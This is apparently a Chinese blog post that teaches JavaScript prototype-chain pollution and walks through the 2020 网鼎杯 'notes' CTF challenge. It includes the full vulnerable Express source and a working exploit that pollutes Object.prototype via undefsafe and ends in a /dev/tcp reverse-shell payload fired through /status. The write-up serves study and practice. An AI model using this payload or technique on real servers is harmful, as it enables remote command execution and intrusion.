终于js的学习已经开始,很多漏洞都得慢慢总结,加油吧,刚好把之前欠的一些js的题都开始补一补。虽然之前写过js原型链污染,由于当时不懂js,没有真的理解。

原型链以及原型链的继承

js中如果需要调用一个对象的某个属性

例如:

function Data(){
   
}
Data.prototype.week = 2

var a = new Data()

console.log(a.week)

分为以下几个步骤:

  • 首先在对象a中寻找这一属性
  • 如果找不到,则在a.__proto__中寻找属性week
  • 如果在对象的原型中找不到要求的属性,则会在对象原型的原型中寻找(a.__proto__.__proto__)属性,以此重复,直到找到属性,或着直到找到null停止(原型链的顶部是Object.prototype.__proto__,值为null

这就是原型链,就拿这里例子说明一下

在这个例子中,在对象a中寻找属性week无果,随后开始在a.__proto__寻找到week属性,得到

这里源码中定义了Data.prototype.week = 2,但我们寻找a.__proto__时,也得到了2

这里就得了解prototype与__proto__,与原型链的继承

prototype与__proto__

prototype与__proto__都指向原型

只不过prototype属性指向类的原型 :  Data.prototype

Data.prototype

(值得一提的是ECMAScript 6之前,js中没有class定义,构造函数的作用就相当于是类,就像例子中的function Data())

__proto__属性指向实例化对象的原型  : a.__proto__

Data.prototype与a.__proto__是相等的

原型链继承特性与原型链污染攻击原理

继承这里的概念十分重要,因为这也是原型链污染攻击的关键支持

原型链继承特性:

实例化的对象可以调用类.prototype中的属性和方法

就像刚才寻找a.__proto__时获得了Data.prototype.week = 2的值

原型链污染攻击原理:

因为原型链继承,如果我们修改一个对象的原型,就会影响到整个原型链,可以影响此对象父类下所有实例化对象。

漏洞利用

找到漏洞点:

找到可以控制写入__proto__的点,比如说merge与clone这类控制键名的函数,修改原型。(注意:必须要让__proto__解析为键名

往往原型链污染攻击,找到可以污染的属性后,还要再寻找可以调用此污染属性进而触发恶意数据的点,这时往往需要关注一些可能存在getshell的函数,例如exec…..

复现:2020网鼎杯notes

源码:

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

这道题很突出的地方就是undefsafe

漏洞参考链接:https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

什么是undefsafe?

undefsafe是一款支持设置值的函数。 undefsafe 2.0.3之前版本中存在安全漏洞。攻击者可借助‘a’函数利用该漏洞添加或修改Object.prototype属性

这里可以被我们利用进行原型链的污染,这里与以前很多题不同,以前污染使用的基本都是merge与clone,但这题,给了我们一个可以污染属性的方法。

在大概看了看源码,发现了我们可以利用的点

可以尝试进行RCE

但是这里commands如何进行污染,真的是头疼,看源码,也没有发现可以污染的点,最后才知道,原来 for这里遍历数组commands时,会遍历到commands原型的属性,也就是数组的原型的属性,那么只需要找另一个可以被我们控制的数组进行污染就行。

这里

id author enote三个参数我们可以控制,而且他们在edit_note方法下都被写进了数组note_list中

payload:

id=__proto__
author=bash -i > /dev/tcp/ip/port 0>&1 
raw=1

在/edit_note传参污染

随后在/status触发反弹shell

学习链接:

https://nikoeurus.github.io/2019/11/30/JavaScript%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/#Code-Breaking-2018-Thejs

https://www.smi1e.top/javascript-%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

https://www.cnblogs.com/chenguangliang/p/6678564.html

分类: js

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注